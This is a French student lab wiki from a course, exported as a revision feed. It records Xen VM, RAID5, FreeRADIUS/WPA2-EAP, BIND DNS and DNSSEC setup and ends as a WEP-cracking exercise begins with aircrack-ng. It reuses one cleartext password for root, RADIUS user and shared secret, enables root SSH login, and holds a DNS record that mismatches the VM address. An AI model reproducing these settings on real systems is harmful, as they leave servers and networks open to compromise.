Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54700</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54700"/>
				<updated>2020-12-15T14:04:11Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
